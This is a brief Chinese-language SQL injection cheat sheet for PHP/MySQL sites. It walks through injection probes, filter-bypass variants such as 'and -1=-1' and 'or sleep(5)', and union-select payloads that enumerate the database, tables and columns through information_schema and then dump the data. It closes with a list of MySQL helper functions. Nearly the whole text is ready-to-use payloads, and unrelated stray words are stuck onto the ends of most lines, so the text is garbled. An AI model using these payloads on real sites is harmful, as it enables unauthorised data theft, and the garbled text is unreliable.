就是把用戶輸入的數據當作代碼執行php
1.用戶能控制輸入
2.可以將程序本來執行的代碼,拼接上用戶輸入的數據進行執行sql
例: http://www.xxx.com/new.php?id=1 http://www.xxx.com/new.php?id=2-1
and 1=1 頁面正常
and 1=2 頁面不正常
注:and 1=1 and 1=2 被攔截的可能性過高了
能夠嘗試 and -1=-1 and -1=-2或者直接 or sleep(5)數據庫
頁面後面加',看是否報錯服務器
若是是數字型傳參,能夠嘗試-1函數
order by 字段數 //顯示報錯則字段數爲前面一個值code
and 1=2 union select 1,2,3,…… //能夠將字段都寫上去orm
查用戶權限:union select 1,user(),3
查庫:union select 1,database(),3
查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='庫名'),3
查字段:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '庫名' and table_name = '表名'),3io
查數據:union select 1,(select group_concat(字段1,字段2) from 庫名.表名),3table
group_concat(字段1,字段2) //返回由屬於一組的列值鏈接組合而成的結果
ASCII(char) //返回字符的ASCII碼值
DATABASE() //返回當前數據庫名
USER()或SYSTEM_USER() //返回當前登錄用戶名
VERSION() //返回MySQL服務器的版本
SLEEP(n) //休眠n秒form